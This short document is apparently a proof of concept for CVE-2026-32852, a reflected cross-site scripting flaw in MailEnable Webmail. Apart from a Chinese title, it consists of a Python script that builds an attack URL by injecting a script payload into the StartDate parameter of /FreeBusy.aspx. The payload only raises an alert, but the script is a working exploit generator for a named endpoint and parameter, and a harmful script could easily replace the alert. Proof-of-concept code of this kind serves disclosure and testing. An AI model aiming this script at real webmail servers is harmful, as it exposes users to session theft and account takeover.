CVE-2026-32852 MailEnable Webmail反射型XSS漏洞

import urllib.parse def generate_poc_url(target_host): # Malicious payload to demonstrate XSS execution payload = "<script>alert('CVE-2026-32852 PoC');</script>" # The vulnerable endpoint identified in the advisory endpoint = "/FreeBusy.aspx" # Constructing the malicious URL by injecting payload into StartDate # The server reflects this parameter in the JavaScript response without sanitization attack_url = f"{target_host}{endpoint}?StartDate={urllib.parse.quote(payload)}" return attack_url if __name__ == "__main__": # Example usage target = "http://example.com" print(f"PoC Link: {generate_poc_url(target)}")